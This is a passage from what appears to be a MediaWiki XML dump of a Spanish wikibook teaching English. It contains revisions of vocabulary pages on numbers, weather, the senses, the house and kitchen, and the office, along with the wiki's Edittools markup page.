**Nine hundred and ninety-nine - 999

*Al pasar a los millares utilizará '''thousand''' (millar), siguiendo la misma regla que para las centenas.
*En ciertos contextos (al citar un año comprendido entre el mil y el dos mil, o al hablar de cantidades de dinero) no suele hacerse como entre nosotros, sino citándolo de una forma peculiar. Así, 1953 se expresa '''Nineteen hundred and fifty-three''' (diez y nueve cientos, cincuenta y tres), y 1500$ son '''fifteen hundred dollars'''.
*En lenguaje familiar, uno se ''ahorra'' las centenas y dice, simplemente, '''Nineteen fifty-three'''. O sea, diez y nueve, cincuenta y tres.
*En inglés, ''billion'', ''trillion'' y sucesivos no representan la misma cantidad que el billón, trillón, ... en español: 
**1,000,000,000 son mil millones en español, y ''one billion'' en inglés.
**1,000,000,000,000 es un billón en español, pero ''one trillion'' en inglés.
==Numeros Ordinales==
'''first'''  '''1st''' (1º) 

'''second'''  '''2nd''' (2º)

'''third'''  '''3rd''' (3º)

'''fourth'''  '''4th''' (4º) 

'''fifth'''  '''5th''' (5º)

'''sixth'''  '''6th''' (6º)

'''seventh'''  '''7th ''' (7º)

'''eighth'''  '''8th''' (8º)

'''ninth'''  '''9th''' (9º)

'''tenth'''  '''10th''' (10º)

'''eleventh'''  '''11th''' (11º)

'''twelfth'''  '''12th''' (12º)

'''thirteenth'''  '''13th''' (13º)

'''fourteenth'''  '''14th''' (14º)

'''fifteenth'''  '''15th''' (15º)

'''sixteenth'''  '''16th''' (16º)

'''seventeenth'''  '''17th''' (17º)

'''eighteenth'''  '''18th''' (18º)

'''nineteenth'''  '''19th''' (19º)

'''twentieth'''  '''20th''' (20º)

'''thirtieth'''  '''30th''' (30º)

'''fortieth'''  '''40th''' (40º)

'''fiftieth'''  '''50th''' (50º)

'''sixtieth'''  '''60th''' (60º)

'''seventieth'''  '''70th''' (70º)

'''eightieth'''  '''80th''' (80º) 

'''ninetieth'''  '''90th''' (90º)

'''hundredth'''  '''100th''' (100º)

'''thousandth'''  '''1000th''' (1000º)

'''millionth'''  '''1000000th''' (1000000º)

{{AutoCat}}</text>
      <sha1>so6et5xuby0ddnuxvqqo2d25hvsh4sm</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/El clima</title>
    <ns>0</ns>
    <id>6273</id>
    <revision>
      <id>429839</id>
      <parentid>426231</parentid>
      <timestamp>2026-08-01T22:04:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429839</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1959" sha1="oyy30mmkpdenk57wi0hutjk7o1ocos0" xml:space="preserve">== EL CLIMA - THE WEATHER ==

{| border=&quot;1&quot;
|-
!Castellano
!Inglés
|-
|hace mucho calor
|It's very hot 
|-
|hace calor
|It's hot
|-
|hay buena temperatura
|It's warm
|-
|hace frío
|It's cold.
|-
|hace mucho frío
|it's freezing
|-
|el tiempo esta lluvioso
|It's rainy.
|-
|hace viento
|It's windy.
|-
|hay niebla
|It's foggy.
|-
|hay nieve
|It's snowy.
|}

*Añada '''Y''' y tiene más adjetivos

*'''We shall have a storm''' (Tendremos tormenta)
*'''We shall have stormy weather''' (Tendremos tiempo tormentoso)

*'''Sustantivos'''

*CLOUD (nube)
*FOG (niebla)
*RAIN (lluvia)
*STORM (tempestad)
*WIND (viento)
*SHADE (sombra)

*'''Adjetivos'''

*CLOUDY (nublado)
*FOGGY (brumoso)
*RAINY (lluvioso)
*STORMY (tempestuoso)
*WINDY (ventoso)
*SHADY (sombreado)


*'''De caliente a frío'''

*También con estos adjetivos se usa el verbo '''to be''' (tercera persona, neutro, del presente de indicativo) para indicar ''hace'':

*'''It is very hot''' - Es muy caliente, es muy caluroso, hace mucho calor.
*'''It is so hot today!''' - (¡Hace tanto calor hoy!).

*Hablando del frío, tenemos '''cold''', sustantivo y adjetivo, que quiere decir eso, ''frío'', y que, por derivación, podemos aplicar a ''resfriado'', ''enfriamiento'', etc., si nos referimos al frío que puede tomar nuestro cuerpo.

*Por eso los ingleses a ''resfriarse'' le llaman '''to take a cold''' (agarrar un frío) y más comúnmente '''to catch a cold''' (pescar un frío).

*Este verbo '''to catch''', cuya traducción gramatical es ''atrapar'', ''agarrar'' expresa la idea de atrapar, pero de atrapar al vuelo, rápidamente. Por eso la gente lo prefiere a '''to take''', en sentido del resfriado, pues a éste ''no se le ve venir''.

*Y puesto que viene a propósito, ahora puede usted comprender el porqué del nombrecito inglés de la llamada ''lucha libre'':

*'''Catch-as-catch-can'''

*lo cual, dicho en castellano castizo, viene a ser ''Agarra como agarrar puedas''...

{{AutoCat}}</text>
      <sha1>oyy30mmkpdenk57wi0hutjk7o1ocos0</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Los sentidos</title>
    <ns>0</ns>
    <id>6292</id>
    <revision>
      <id>429849</id>
      <parentid>426230</parentid>
      <timestamp>2026-08-01T22:04:55Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429849</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="224" sha1="nfpa32anrsacudlb010j99fcvrq200r" xml:space="preserve">== THE FIVE SENSES - LOS CINCO SENTIDOS ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|sight
|vista
|-
|hearing 
|oído
|-
|taste
|gusto
|-
|smell
|olfato
|-
|touch
|tacto
|-
|}

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>nfpa32anrsacudlb010j99fcvrq200r</sha1>
    </revision>
    <revision>
      <id>429905</id>
      <parentid>429849</parentid>
      <timestamp>2026-08-01T22:09:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429905</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="184" sha1="7gjukftmrmd22ag0xjo6ksbrd8d7xtt" xml:space="preserve">== THE FIVE SENSES - LOS CINCO SENTIDOS ==

{| border=&quot;1&quot;
!Inglés
!Español
|-
|sight
|vista
|-
|hearing 
|oído
|-
|taste
|gusto
|-
|smell
|olfato
|-
|touch
|tacto
|-
|}

{{AutoCat}}</text>
      <sha1>7gjukftmrmd22ag0xjo6ksbrd8d7xtt</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/El hogar</title>
    <ns>0</ns>
    <id>6295</id>
    <revision>
      <id>429841</id>
      <parentid>276912</parentid>
      <timestamp>2026-08-01T22:04:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429841</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5875" sha1="i3a679de29z5uri3at03xrbt4zox91f" xml:space="preserve">== THE HOUSE - LA CASA == 

{| class=&quot;wikitable sortable&quot;
!Inglés
!Español
|-
|the roof
|el techo
|-
|the chimney
|la chimenea
|-
|the story
|la planta/el alto
|-
|the floor
|el piso
|-
|the ground floor
|la planta baja
|-
|the first floor
|el primer piso
|-
|the cellar/basement
|el sótano
|-
|the balcony
|el balcón
|-
|the stairs or staircase
|la escalera
|-
|the slate
|la pizarra
|-
|the tile
|la teja
|-
|the stone
|la piedra
|-
|the bedroom
|el dormitorio/la recámara
|-
|the dining room
|el comedor
|-
|the living room
|la sala
|-
|the study
|el estudio
|-
|the bathroom/washroom
|el baño
|-
|the nursery
|el cuarto de niños y niñas
|-
|the attic
|el desván
|-
|the kitchen
|la [[Inglés/La cocina|cocina]]
|-
|mirror
|espejo
|-
|water 
|agua
|-
|soap
|jabón
|-
|towel
|toalla
|-
|toilet
|inodoro
|-
|brush
|cepillo
|-
|comb
|peine
|-
|clean
|limpio
|-
|dirty
|sucio
|-
| to wash
|lavar / lavarse
|-
|to clean
|limpiar
|-
|to brush
|cepillar
|-
|to comb
|peinar
|-
|toothbrush
|cepillo para dientes
|-

|}
{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Tin opener || Abrelatas || Con este aparato se puede de un sólo golpe'''tín optener''' '''abrir una lata'''.
|-
| Food mixer || Batidora || Una '''batidora''' es una mezcladora ('''mixer''') de comida ('''food''')
|-
| Bowl || Tazón || '''Tarzán''' entró y aca'''bo úl'''timo '''tazón''', lo '''boul'''vió pedazos.
|-
| Coffe pot || Cafetera || En una cafetera se hacen '''pot'''es y '''pot'''es de '''coffe'''.
|-
| Casserole || Cazuela || En una gran '''cacerola''' se hace una deliciosa '''cazuela'''.
|-
| Cooker || Estufa || Una '''estufa''' muy '''cooke'''ta, que es por el chef Fran'''co ker'''ida.
|-
| Cutlery || Cubiertos || En Cál'''cut'''a '''le ri'''fan '''cubiertos''' a los c'''léri'''gos que más '''cubiertos''' estén. 
|-
| Cubo de basura || Garbage Can || Una gran '''caneca de basura''' donde '''garba'''nzos bailan '''can can'''
|-
| Cuchara de postre || Dessert spoon || La historia de cierta '''cuchara''' para comer en un '''desierto spoon'''joso.  
|-
| Cucharilla || Teaspoon || Una '''cucharilla''' '''tea spoon'''jado la lengua.
|-
| Ladle || Cucharón || Ese '''cucharón''' de he'''ladil'''lo le he'''lad le''' lengua al que la prueba de '''ladil'''lo. 
|-
| Knife || Cuchillo || Es que ni Jac'''k ni F'''ernando saben lo que es un ma'''kníf'''ico '''cuchillo'''. 
|-
| Bread knife || Cuchillo del pan ||Con un gran '''cuchillo''' ('''knife''') se a'''bre ad'''mirablemente el '''pan'''. 
|-
| Fridge || Nevera/Frigorífico || Doña '''Frid'''a '''ge'''nera más '''frío''' que una '''Nevera'''. 
|-
| Grill || Parrilla || Un sádico niño que en la '''parrilla''' frita '''grill'''os merece un '''grill'''ete.
|-
| Tap || Grifo ||  Una gran '''tap'''a para '''tap'''ar un '''grifo''' roto. 
|-
| Oven || Horno || Un j'''oven''' se pregunta si los otros j'''oven'''es n'''o ven''' el '''horno'''. 
|-
| Jug || Jarra || Una '''jarra''' llena de frío '''jug'''o.
|-
| Pressure cooker || Olla a presión || Un '''presuroso''' man'''co oh! ke r'''ápido cocina en una '''olla a presión'''.
|-
| corkscrew || Sacacorchos || En el cir'''co orkos c reu'''san a '''sacar los corchos''' del '''corsé''' de la mujer. 
|-
| Dryer || Secadora || Un ogro se come una pie'''dra y er'''ucta una '''secadora'''.
|-
| Tea set || Juego de té || En un '''juego de te'''nis el primer '''set''' se lo gane a us'''té'''.
|-
| Crockery || Vajilla || Una '''vajilla''' entera cruje '''croc'''ante '''keri'''endo herirte.
|}

== THE KITCHEN - LA COCINA ==

{| class=&quot;wikitable sortable&quot;
!Español
!Inglés
|-
|agarradera
|handle
|-
|alacena
|cupboard
|-
|anaqueles, estantes
|shelves
|-
|área de trabajo
|working area
|-
|basura de la cocina
|kitchen waste
|-
|batidora
|food-mixer
|-
|cafetera
|coffee maker
|-
|cajones
|drawers
|-
|cocina (el lugar)
|kitchen
|-
|calentador
|water heater
|-
|
|Boiler
|-
|grifo o llave del agua fría/caliente
|cold/hot water tap (UK –Reino Unido)
|-
| 
|cold/hot water faucet (US –EEUU)
|-
|congelador de la refrigeradora
|freezer, ice maker
|-
|cubitera
|ice tray
|-
|delantal
|apron
|-
|despensa
|pantry
|-
|destapador de botellas
|bottle opener
|-
|detergente líquido para platos
|dish liquid detergent
|-
|detergente para lavaplatos o lavavajillas
|dishwasher detergent
|-
|eliminador eléctrico de desperdicios
|garbage disposal/electric pig
|-
|encendedor eléctrico
|electric lighter
|-
|escobero
|broom closet
|-
|escoba
|broom
|-
|escoba (recogedor para esta)
|dustpan
|-
|escurridor de platos
|dish drainer
|-
|esponja limpiadora
|scouring pad
|-
|estufa
|stove
|-
|guantes
|gloves
|-
|jabón
|soap
|-
|Refrigerador (''Refri'') o Nevera
|Refrigerator (''fridge'') 
|-
|horno a gas 
|gas oven
|-
|horno eléctrico
|electric oven
|-
|horno micro-ondas
|microwave oven
|-
|lavaplatos
|dishwasher
|-
|licuadora
|blender
|-
|mostrador o repisa de mármol
|marble counter
|-
|pileta de lavar
|sink
|-
|procesadora de alimentos
|food processor
|-
|quemadores de la estufa
|stove burners
|-
|quemador del horno
|oven burner
|-
|toalla de cocina
|dish towel
|-
|bote de basura
|trashcan
|-
|tostadora
|toaster
|}


to make the bed ''(hacer la cama)''

the laundry  ''(el lavado de ropa, la colada)''

to dust ''(sacudir/quitar el polvo)''

to tidy up ''(ordenar)''

to vacuum ''(aspirar, pasar el aspirador/la aspiradora)''

to take a shower ''(ducharse, tomar una ducha)''

to wash up ''(fregar los cacharros/los trastes/los platos)''


to watch TV ''(ver la tele)''

to play an instrument ''(tocar un instrumento musical)''

to play a game ''(jugar un juego)''

to read ''(leer)''

to ride a horse/a bike ''(montar a caballo/en bici)''

to do housework  ''(hacer los deberes/hacer el quehacer)''

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>i3a679de29z5uri3at03xrbt4zox91f</sha1>
    </revision>
    <revision>
      <id>429880</id>
      <parentid>429841</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429880</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5835" sha1="h5w5oiuegcx23n0a7fcgsoc6rg4o0jj" xml:space="preserve">== THE HOUSE - LA CASA == 

{| class=&quot;wikitable sortable&quot;
!Inglés
!Español
|-
|the roof
|el techo
|-
|the chimney
|la chimenea
|-
|the story
|la planta/el alto
|-
|the floor
|el piso
|-
|the ground floor
|la planta baja
|-
|the first floor
|el primer piso
|-
|the cellar/basement
|el sótano
|-
|the balcony
|el balcón
|-
|the stairs or staircase
|la escalera
|-
|the slate
|la pizarra
|-
|the tile
|la teja
|-
|the stone
|la piedra
|-
|the bedroom
|el dormitorio/la recámara
|-
|the dining room
|el comedor
|-
|the living room
|la sala
|-
|the study
|el estudio
|-
|the bathroom/washroom
|el baño
|-
|the nursery
|el cuarto de niños y niñas
|-
|the attic
|el desván
|-
|the kitchen
|la [[Inglés/La cocina|cocina]]
|-
|mirror
|espejo
|-
|water 
|agua
|-
|soap
|jabón
|-
|towel
|toalla
|-
|toilet
|inodoro
|-
|brush
|cepillo
|-
|comb
|peine
|-
|clean
|limpio
|-
|dirty
|sucio
|-
| to wash
|lavar / lavarse
|-
|to clean
|limpiar
|-
|to brush
|cepillar
|-
|to comb
|peinar
|-
|toothbrush
|cepillo para dientes
|-

|}
{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Tin opener || Abrelatas || Con este aparato se puede de un sólo golpe'''tín optener''' '''abrir una lata'''.
|-
| Food mixer || Batidora || Una '''batidora''' es una mezcladora ('''mixer''') de comida ('''food''')
|-
| Bowl || Tazón || '''Tarzán''' entró y aca'''bo úl'''timo '''tazón''', lo '''boul'''vió pedazos.
|-
| Coffe pot || Cafetera || En una cafetera se hacen '''pot'''es y '''pot'''es de '''coffe'''.
|-
| Casserole || Cazuela || En una gran '''cacerola''' se hace una deliciosa '''cazuela'''.
|-
| Cooker || Estufa || Una '''estufa''' muy '''cooke'''ta, que es por el chef Fran'''co ker'''ida.
|-
| Cutlery || Cubiertos || En Cál'''cut'''a '''le ri'''fan '''cubiertos''' a los c'''léri'''gos que más '''cubiertos''' estén. 
|-
| Cubo de basura || Garbage Can || Una gran '''caneca de basura''' donde '''garba'''nzos bailan '''can can'''
|-
| Cuchara de postre || Dessert spoon || La historia de cierta '''cuchara''' para comer en un '''desierto spoon'''joso.  
|-
| Cucharilla || Teaspoon || Una '''cucharilla''' '''tea spoon'''jado la lengua.
|-
| Ladle || Cucharón || Ese '''cucharón''' de he'''ladil'''lo le he'''lad le''' lengua al que la prueba de '''ladil'''lo. 
|-
| Knife || Cuchillo || Es que ni Jac'''k ni F'''ernando saben lo que es un ma'''kníf'''ico '''cuchillo'''. 
|-
| Bread knife || Cuchillo del pan ||Con un gran '''cuchillo''' ('''knife''') se a'''bre ad'''mirablemente el '''pan'''. 
|-
| Fridge || Nevera/Frigorífico || Doña '''Frid'''a '''ge'''nera más '''frío''' que una '''Nevera'''. 
|-
| Grill || Parrilla || Un sádico niño que en la '''parrilla''' frita '''grill'''os merece un '''grill'''ete.
|-
| Tap || Grifo ||  Una gran '''tap'''a para '''tap'''ar un '''grifo''' roto. 
|-
| Oven || Horno || Un j'''oven''' se pregunta si los otros j'''oven'''es n'''o ven''' el '''horno'''. 
|-
| Jug || Jarra || Una '''jarra''' llena de frío '''jug'''o.
|-
| Pressure cooker || Olla a presión || Un '''presuroso''' man'''co oh! ke r'''ápido cocina en una '''olla a presión'''.
|-
| corkscrew || Sacacorchos || En el cir'''co orkos c reu'''san a '''sacar los corchos''' del '''corsé''' de la mujer. 
|-
| Dryer || Secadora || Un ogro se come una pie'''dra y er'''ucta una '''secadora'''.
|-
| Tea set || Juego de té || En un '''juego de te'''nis el primer '''set''' se lo gane a us'''té'''.
|-
| Crockery || Vajilla || Una '''vajilla''' entera cruje '''croc'''ante '''keri'''endo herirte.
|}

== THE KITCHEN - LA COCINA ==

{| class=&quot;wikitable sortable&quot;
!Español
!Inglés
|-
|agarradera
|handle
|-
|alacena
|cupboard
|-
|anaqueles, estantes
|shelves
|-
|área de trabajo
|working area
|-
|basura de la cocina
|kitchen waste
|-
|batidora
|food-mixer
|-
|cafetera
|coffee maker
|-
|cajones
|drawers
|-
|cocina (el lugar)
|kitchen
|-
|calentador
|water heater
|-
|
|Boiler
|-
|grifo o llave del agua fría/caliente
|cold/hot water tap (UK –Reino Unido)
|-
| 
|cold/hot water faucet (US –EEUU)
|-
|congelador de la refrigeradora
|freezer, ice maker
|-
|cubitera
|ice tray
|-
|delantal
|apron
|-
|despensa
|pantry
|-
|destapador de botellas
|bottle opener
|-
|detergente líquido para platos
|dish liquid detergent
|-
|detergente para lavaplatos o lavavajillas
|dishwasher detergent
|-
|eliminador eléctrico de desperdicios
|garbage disposal/electric pig
|-
|encendedor eléctrico
|electric lighter
|-
|escobero
|broom closet
|-
|escoba
|broom
|-
|escoba (recogedor para esta)
|dustpan
|-
|escurridor de platos
|dish drainer
|-
|esponja limpiadora
|scouring pad
|-
|estufa
|stove
|-
|guantes
|gloves
|-
|jabón
|soap
|-
|Refrigerador (''Refri'') o Nevera
|Refrigerator (''fridge'') 
|-
|horno a gas 
|gas oven
|-
|horno eléctrico
|electric oven
|-
|horno micro-ondas
|microwave oven
|-
|lavaplatos
|dishwasher
|-
|licuadora
|blender
|-
|mostrador o repisa de mármol
|marble counter
|-
|pileta de lavar
|sink
|-
|procesadora de alimentos
|food processor
|-
|quemadores de la estufa
|stove burners
|-
|quemador del horno
|oven burner
|-
|toalla de cocina
|dish towel
|-
|bote de basura
|trashcan
|-
|tostadora
|toaster
|}


to make the bed ''(hacer la cama)''

the laundry  ''(el lavado de ropa, la colada)''

to dust ''(sacudir/quitar el polvo)''

to tidy up ''(ordenar)''

to vacuum ''(aspirar, pasar el aspirador/la aspiradora)''

to take a shower ''(ducharse, tomar una ducha)''

to wash up ''(fregar los cacharros/los trastes/los platos)''


to watch TV ''(ver la tele)''

to play an instrument ''(tocar un instrumento musical)''

to play a game ''(jugar un juego)''

to read ''(leer)''

to ride a horse/a bike ''(montar a caballo/en bici)''

to do housework  ''(hacer los deberes/hacer el quehacer)''

{{AutoCat}}</text>
      <sha1>h5w5oiuegcx23n0a7fcgsoc6rg4o0jj</sha1>
    </revision>
  </page>
  <page>
    <title>MediaWiki:Edittools</title>
    <ns>8</ns>
    <id>7657</id>
    <revision>
      <id>429954</id>
      <parentid>305204</parentid>
      <timestamp>2026-08-02T09:21:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>actualización</comment>
      <origin>429954</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3868" sha1="1n6r52d229w6zurqub25c98bnfje9ak" xml:space="preserve">&lt;!-- El texto siguiente será mostrado en las páginas de edición. --&gt;
&lt;div id=&quot;editpage-specialchars&quot; class=&quot;plainlinks&quot; style=&quot;margin-top: 15px; border-width: 1px; border-style: solid; border-color: #aaaaaa; padding: 2px;&quot;&gt;

&lt;span id=&quot;edittools_name&quot;&gt;'''Firma con tu nombre:''' &lt;charinsert&gt;~~~~&lt;/charinsert&gt;&lt;small&gt; (únicamente en páginas de discusión)&lt;/small&gt;&lt;br&gt;&lt;/span&gt;
----
&lt;span id=&quot;edittools_wikimarkup&quot;&gt;'''Marcado Wiki:'''
&lt;charinsert&gt;&lt;nowiki&gt;{{&lt;/nowiki&gt;+&lt;nowiki&gt;}}&lt;/nowiki&gt; &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;|&lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;–&lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;—&lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;[+]&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;[[+]]&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;*[[+]] — &lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;#REDIRECCIÓN[[+]]&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;[[Categoría:+]]&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{ORDENAR:+}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;gallery&gt;+&lt;/gallery&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;ref&gt;+&lt;/ref&gt;&lt;/charinsert&gt;&lt;/span&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;includeonly&gt;+&lt;/includeonly&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;noinclude&gt;+&lt;/noinclude&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;&lt;nowiki&gt;+&lt;/nowiki&gt;&lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;code&gt;+&lt;/code&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;s&gt;+&lt;/s&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;u&gt;+&lt;/u&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;&lt;!--+--&gt;&lt;/nowiki&gt;&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;&lt;nowiki&gt;&amp;amp;nbsp;&lt;/nowiki&gt;&lt;/charinsert&gt;
&lt;br&gt;
'''Plantillas:'''
&lt;charinsert&gt;{{&lt;nowiki&gt;subst:Bienvenido usuario&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;subst:Bienvenida a ip&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Borrar|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;subst:Aviso prueba1&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Listaref&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;subst:No firmado|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Libro|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;LP&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Ping|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Ing|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Rec|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;Ute|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;{{&lt;nowiki&gt;W|+&lt;/nowiki&gt;}}&lt;/charinsert&gt; &amp;nbsp;
&lt;br/&gt;
'''Divisas:'''
&lt;charinsert&gt; ₵   ¢   ₡   ₫   €   ƒ   ₲   Kč   ₭   £   ₦   ₱   $   ৳   ₸   ₮   ₺   ₩   ¥   zł   лв   РСД   ₪   ֏   ₹   ៛   ₴&lt;/charinsert&gt;
&lt;br/&gt;
'''Caracteres especiales:'''
&lt;charinsert&gt; Á á É é Í í Ó ó Ú ú Ü ü Ñ ñ&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;¡ ¿ - † º ª &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Â  Å â Ĉ ĉ Ê ê Ŝ ŝ&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Č č Ć ć Đ đ Š š Ž ž&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Ä ä Ë ë Ö ö Ü ü &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Ç ç &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Ā ā å Ē ē Ī ī Ō ō Ū ū &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;ß &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Ð ð Þ þ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;Æ æ Œ œ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;– — &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt;~ ° ℃ § →&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; ≈ ± ≠ − × ¹ ² ³ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; ‘+’ “+” «+»&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; £ € ©&lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Α α Β β Γ γ Δ δ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Ε ε Ζ ζ Η η Θ θ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Ι ι Κ κ Λ λ Μ μ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Ν ν Ξ ξ Ο ο Π π &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Ρ ρ Σ σ ς Τ τ Υ υ &lt;/charinsert&gt; &amp;nbsp;
&lt;charinsert&gt; Φ φ Χ χ Ψ ψ Ω ω ø Ø&lt;/charinsert&gt;
&lt;br&gt;&lt;/span&gt;
---- 
&lt;span id=&quot;edittools_purge&quot;&gt;'''Purgar la caché''' de [{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAMEE}}|action=purge}} esta página].&lt;/span&gt;
&lt;/div&gt;</text>
      <sha1>1n6r52d229w6zurqub25c98bnfje9ak</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/En la oficina</title>
    <ns>0</ns>
    <id>8130</id>
    <revision>
      <id>429844</id>
      <parentid>164754</parentid>
      <timestamp>2026-08-01T22:04:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429844</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="256" sha1="gz80m06nsw0ererxg4bjntxxnaz9eys" xml:space="preserve">{| border=&quot;1&quot; align=&quot;center&quot;
!Inglés
!Español
|-
|at the office
|en la oficina
|-
|to send a fax
|enviar un fax
|-
|secretary
|secretaria
|-
|the boss
|el jefe
|-
|typewriter
|máquina de escribir
|-


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>gz80m06nsw0ererxg4bjntxxnaz9eys</sha1>
    </revision>
    <revision>
      <id>429892</id>
      <parentid>429844</parentid>
      <timestamp>2026-08-01T22:09:06Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429892</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="216" sha1="711qr8d3owhy2qtkk79vi8xpj70tp1x" xml:space="preserve">{| border=&quot;1&quot; align=&quot;center&quot;
!Inglés
!Español
|-
|at the office
|en la oficina
|-
|to send a fax
|enviar un fax
|-
|secretary
|secretaria
|-
|the boss
|el jefe
|-
|typewriter
|máquina de escribir
|-


{{AutoCat}}</text>
      <sha1>711qr8d3owhy2qtkk79vi8xpj70tp1x</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales</title>
